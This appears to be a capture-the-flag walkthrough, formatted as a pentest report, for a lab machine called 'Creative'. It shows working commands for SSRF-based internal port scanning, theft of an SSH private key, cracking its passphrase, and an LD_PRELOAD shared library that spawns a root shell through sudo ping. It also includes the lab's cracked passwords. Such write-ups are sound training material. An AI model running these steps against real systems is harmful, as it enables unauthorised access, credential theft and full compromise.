Skip to main content

Creative

1. Executive Summary

This report details a penetration testing engagement against the target machine at 10.10.160.145, which resolves to the domain creative.thm. The assessment uncovered a critical Server-Side Request Forgery (SSRF) vulnerability, which was leveraged to gain access to internal services and ultimately obtain root-level access to the system.

The engagement followed these key phases:

  • Reconnaissance: Initial port scanning and service identification.
  • Vulnerability Discovery: Identification of an SSRF vulnerability on a subdomain.
  • Exploitation: Leveraging the SSRF to scan internal ports and access a hidden service.
  • Credential Harvesting: Retrieving user credentials and an SSH private key.
  • Privilege Escalation: Exploiting a misconfigured sudo rule and LD_PRELOAD to gain root access.

2. Methodology

This assessment followed a standard penetration testing methodology, including reconnaissance, vulnerability analysis, exploitation, and privilege escalation. The following tools were used:

  • Nmap: Port scanning and service version detection.
  • Wfuzz: Web application fuzzing and subdomain discovery.
  • FFUF: Fast web fuzzer used for SSRF-based port scanning.
  • SSRFmap: Automated SSRF exploitation tool (used as an alternative).
  • Burp Suite: Web proxy for request interception and analysis (recommended for manual testing).
  • ssh2john: Converts SSH private keys into a format crackable by John the Ripper.
  • John the Ripper: Password cracking tool.
  • GCC: GNU Compiler Collection for compiling a malicious shared library.

3. Reconnaissance

3.1 Initial Port Scan

An initial Nmap scan was conducted to identify open ports and services:

export TARGET_MACHINE=10.10.160.145
nmap -p- --min-rate 5000 $TARGET_MACHINE

Results:

PORT   STATE    SERVICE
22/tcp open ssh
80/tcp open http

The scan revealed two open ports: SSH (22) and HTTP (80). A large number of filtered ports (65,533) were also reported. This could indicate a firewall, but it's also a potential indicator of services running on non-standard ports or behind a web application firewall (WAF). This warrants further investigation during the exploitation phase.

3.2 Website and DNS Enumeration

Accessing http://10.10.160.145 in a web browser redirected to http://creative.thm. This indicates a virtual host configuration. To ensure proper routing, the following entry was added to the /etc/hosts file:

sudo nano /etc/hosts
# Add the following line:
10.10.160.145 creative.thm

3.3 Subdomain Enumeration

Subdomain enumeration was performed using wfuzz to identify potential hidden web applications:

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hh 178 -H "Host: FUZZ.creative.thm" -u http://creative.thm:80/ -t 100 -o wfuzz_subdomains.txt

Results:

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000033: 200 19 L 66 W 591 Ch "beta"

A subdomain beta.creative.thm was discovered. This was also added to the /etc/hosts file:

sudo nano /etc/hosts
# Add the following line:
10.10.160.145 creative.thm beta.creative.thm

4. Vulnerability Analysis and Exploitation: SSRF

4.1 Identifying the SSRF Vulnerability

The beta.creative.thm subdomain presented a "Beta URL Tester" page, which allowed users to submit a URL for testing. This functionality immediately raised suspicion for a potential Server-Side Request Forgery (SSRF) vulnerability. SSRF occurs when an attacker can control the URL that the server-side application makes a request to.

4.2 SSRF Types and Testing Strategy

There are several types of SSRF:

  • Standard SSRF: The server's response directly reflects the result of the attacker-controlled request.
  • Blind SSRF: The server doesn't directly return the response, but the attacker can infer success or failure (e.g., through timing or error messages).
  • Time-Based Blind SSRF: A type of blind SSRF where the attacker measures response times to infer information.
  • Cross-Site Port Attack (XSPA): A particular SSRF exploitation used to perform a Port Scan.

Given the large number of filtered ports in the initial Nmap scan, the testing strategy focused on attempting an internal port scan via SSRF (XSPA).

4.3 Automated Port Scanning with FFUF

FFUF was used to automate the process of testing for open internal ports:

seq 65535 > ports.txt  # Create a file containing all port numbers
ffuf -w ports.txt -u http://beta.creative.thm/ -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://127.0.0.1:FUZZ" -fs 13 -o ffuf_ssrf_scan.txt

Results:

FFUF identified port 1337 as likely open, as it produced a different response size:

1337        [Status: 200, Size: 1143, Words: 40, Lines: 39, Duration: 529ms]

4.4 SSRFmap (Alternative Approach)

While FFUF worked, SSRFmap is a tool specifically designed for SSRF exploitation and is generally preferred:

# Capture a legitimate POST request to the URL tester using Burp Suite or your browser's developer tools.
# Save the raw request to a file (e.g., request.txt).

git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap
pip install -r requirements.txt
python3 ssrfmap.py -r request.txt -p url -m portscan -o ssrfmap_results.txt

SSRFmap Results (consistent with FFUF):

SSRFmap also identified port 1337 as open.

4.5 Accessing the Internal Service

By submitting http://127.0.0.1:1337 to the URL tester, a directory listing was revealed, confirming the SSRF vulnerability and access to an internal web server.

5. Data Exfiltration and Credential Harvesting

5.1 Identifying User Directories

Browsing to http://127.0.0.1:1337/home (via the SSRF) revealed a user directory named saad.

5.2 Retrieving User Flag and SSH Key

The following files were accessible through the SSRF:

  • http://127.0.0.1:1337/home/saad/user.txt: Contained the user flag.
  • http://127.0.0.1:1337/home/saad/.ssh/id_rsa: Contained the user's SSH private key. This was downloaded and saved locally as id_rsa_saad.

6. Gaining Shell Access

6.1 SSH Key Permissions and Cracking

The downloaded SSH key was given appropriate permissions:

chmod 600 id_rsa_saad

Attempting to use the key directly required a passphrase:

ssh -i id_rsa_saad saad@$TARGET_MACHINE

The key was converted to a John the Ripper-compatible hash and cracked:

ssh2john id_rsa_saad > id_rsa_saad.hash
john id_rsa_saad.hash --wordlist=/usr/share/wordlists/rockyou.txt -o cracked_ssh.txt
# The passphrase was cracked as "sweetness".

6.2 Initial Shell Access

Successful SSH login was achieved using the cracked passphrase:

ssh -i id_rsa_saad saad@$TARGET_MACHINE  # Enter "sweetness" when prompted.

7. Privilege Escalation

7.1 Identifying Sudo Permissions

The sudo -l command was used to list the commands that the saad user could run with elevated privileges:

less .bash_history # Discovered password: MyStrongestPasswordYet$4291
sudo -l # Entered the discovered password

# Output:
Matching Defaults entries for saad on m4lware:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User saad may run the following commands on m4lware:
(root) /usr/bin/ping

7.2 Exploiting LD_PRELOAD

The sudo -l output showed that saad could run /usr/bin/ping as root, and that the LD_PRELOAD environment variable was preserved. This is a classic privilege escalation vulnerability.

LD_PRELOAD allows a user to specify a shared library that will be loaded before any other libraries. By creating a malicious shared library that overrides a function called by ping, we can execute arbitrary code as root.

7.3 Creating the Malicious Shared Library

A C source file (/tmp/shell.c) was created with the following content:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD"); // Prevent recursion
setgid(0); // Set group ID to root (0)
setuid(0); // Set user ID to root (0)
system("/bin/sh"); // Execute a shell
}

7.4 Compiling and Executing

The C code was compiled into a shared library:

gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles

Finally, ping was executed with sudo and LD_PRELOAD set to our malicious library:

sudo LD_PRELOAD=/tmp/shell.so /usr/bin/ping
# A root shell is obtained.
id # Confirms root access: uid=0(root) gid=0(root) groups=0(root)